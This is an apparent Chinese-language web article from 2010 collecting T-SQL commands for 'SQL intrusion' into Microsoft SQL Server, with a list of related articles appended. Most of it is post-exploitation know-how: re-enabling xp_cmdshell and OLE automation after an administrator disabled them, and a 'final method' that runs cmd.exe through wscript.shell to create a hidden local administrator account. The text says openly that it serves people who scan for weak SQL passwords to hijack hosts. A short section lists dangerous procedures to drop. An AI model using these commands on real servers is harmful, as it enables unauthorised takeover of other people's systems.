SQL入侵恢復xp_cmdshell方法總結(jié)

更新時間：2010年08月04日 12:39:52 作者：

恢復xp_cmdshell SQL Server阻止了對組件 'xp_cmdshell' 的過程'sys.xp_cmdshell' 啟用

1433 SQL入侵恢復xp_cmdshell方法總結(jié)
sql server 2005下開啟xp_cmdshell的辦法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005開啟'OPENROWSET'支持的方法：
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

SQL2005開啟'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

突破SA的各種困難
常見情況恢復執(zhí)行xp_cmdshell
1 未能找到存儲過程'master..xpcmdshell'.
恢復方法：查詢分離器連接后,
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126（找不到指定模塊。）
恢復方法：查詢分離器連接后,
第一步執(zhí)行：sp_dropextendedproc "xp_cmdshell"
第二步執(zhí)行：sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
3 無法在庫 xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復方法：查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢
四.終極方法.
如果以上方法均不可恢復,請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'

xp或2003server系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'

--------------
xp_cmdshell新的恢復辦法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

恢復
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

這樣可以直接恢復，不用去管sp_addextendedproc是不是存在
-----------------------------
刪除擴展存儲過過程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'

恢復cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

開啟cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判斷存儲擴展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
恢復xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
否則上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql語句
sp_dropextendedproc "xp_cmdshell
----------------
刪除sql危險存儲：

復制代碼代碼如下:

 
DROP PROCEDURE sp_makewebtask 
exec master..sp_dropextendedproc xp_cmdshell 
exec master..sp_dropextendedproc xp_dirtree 
exec master..sp_dropextendedproc xp_fileexist 
exec master..sp_dropextendedproc xp_terminate_process 
exec master..sp_dropextendedproc sp_oamethod 
exec master..sp_dropextendedproc sp_oacreate 
exec master..sp_dropextendedproc xp_regaddmultistring 
exec master..sp_dropextendedproc xp_regdeletekey 
exec master..sp_dropextendedproc xp_regdeletevalue 
exec master..sp_dropextendedproc xp_regenumkeys 
exec master..sp_dropextendedproc xp_regenumvalues 
exec master..sp_dropextendedproc sp_add_job 
exec master..sp_dropextendedproc sp_addtask 
exec master..sp_dropextendedproc xp_regread 
exec master..sp_dropextendedproc xp_regwrite 
exec master..sp_dropextendedproc xp_readwebtask 
exec master..sp_dropextendedproc xp_makewebtask 
exec master..sp_dropextendedproc xp_regremovemultistring 
exec master..sp_dropextendedproc sp_OACreate 
DROP PROCEDURE sp_addextendedproc 

/*不狐附上恢復擴展存儲過程的辦法

先恢復sp_addextendedproc，語句如下：
SQL代碼：

復制代碼代碼如下:

 
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,'sp_addextendedproc') 
return (1) 
end 
dbcc addextendedproc( @functname, @dllname) 
return (0) -- sp_addextendedproc 
GO 

再恢復以上所有擴展存儲過程
SQL代碼：

復制代碼代碼如下:

 
use master 
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' 
exec sp_addextendedproc xp_dirtree,'xpstar.dll' 
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 
exec sp_addextendedproc xp_regread,'xpstar.dll' 
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 
exec sp_addextendedproc xp_availablemedia,'xpstar.dll' 

SQL Server 阻止了對組件 'xp_cmdshell' 的過程'sys.xp_cmdshell' 的訪問，因為此組件已作為此服務器安全配置的一部分而被關閉。系統(tǒng)管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細信息，請參閱 SQL Server 聯(lián)機叢書中的 "外圍應用配置器"。
經(jīng)常掃SQL弱口令肉雞的朋友應該遇見過這樣的問題！
接下來我們用SQL語句搞定他
分析器執(zhí)行的語句：
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE

您可能感興趣的文章:

sql where 1=1的優(yōu)缺點分析
where 1=1; 這個條件始終為True，在不定數(shù)量查詢條件情況下，1=1可以很方便的規(guī)范語句
2013-04-04
SQL 尚未定義空閑 CPU 條件 - OnIdle 作業(yè)計劃將不起任何作用
今天在配置sql server 代理服務器的計劃任務的時候發(fā)現(xiàn)了日志中提示這個SQL 尚未定義空閑 CPU 條件 - OnIdle 作業(yè)計劃將不起任何作用信息導致無法執(zhí)行計劃任務，那么可以按照下面的方法解決即可
2021-06-06
使用SQL Server 獲取插入記錄后的ID(自動編號)
本篇文章是對使用SQL Server獲取插入記錄后的ID(自動編號)的方法進行了詳細的分析介紹，需要的朋友參考下
2013-06-06
Sql數(shù)據(jù)庫中去掉字段的所有空格小結(jié)篇
這篇文章主要介紹了Sql數(shù)據(jù)庫中去掉字段的所有空格小結(jié)篇,本文通過示例代碼給大家介紹的非常詳細，對大家的學習或工作具有一定的參考借鑒價值，需要的朋友可以參考下
2023-05-05
sql 服務器知識
服務器組只是個邏輯上的概念，類似于班級或者QQ里面的同事、朋友、家人的分組。一般班級下面有N個學生。學生就相當于服務器了。
2009-10-10
SQL Server 2012 安裝與啟動圖文教程
本文通過圖文并茂的形式給大家介紹了sqlserver2012的安裝步驟，本文分步驟給大家介紹的非常詳細，感興趣的朋友一起看看吧
2016-11-11
SQL?SERVER數(shù)據(jù)庫登陸錯誤18456解決過程
這篇文章主要介紹了SQL?SERVER數(shù)據(jù)庫登陸錯誤18456解決過程,18456錯誤是因密碼或用戶名錯誤而使身份驗證失敗并導致連接嘗試被拒或者賬戶被鎖定無法sa登錄,按照如下操作依次排查解決,需要的朋友可以參考下
2024-10-10
SQL Server的死鎖說明
死鎖是導致數(shù)據(jù)庫中的競爭性并發(fā)鎖，通常在多步驟事務中。當兩個或多個任務永久相互阻止時，每個任務都鎖定了其他任務嘗試鎖定的資源，就會發(fā)生死鎖。本文主要介紹了SQL Server的死鎖，感興趣的朋友可以參考閱讀
2023-04-04
sqlserver還原數(shù)據(jù)庫的時候出現(xiàn)提示無法打開備份設備的解決方法(設備出現(xiàn)錯誤或設備脫)
今天在恢復數(shù)據(jù)庫的時候，因為是異地部分還原，出現(xiàn)提示無法打開備份設備 E:\自動備份\ufidau8xTmp\UFDATA.BAK 。設備出現(xiàn)錯誤或設備脫，這里分享一下解決方法，需要的朋友可以參考一下
2016-03-03
顯示同一分組中的其他元素的sql語句
這篇文章主要介紹了使用sql語句如何顯示同一分組中的其他元素,需要的朋友可以參考下
2014-05-05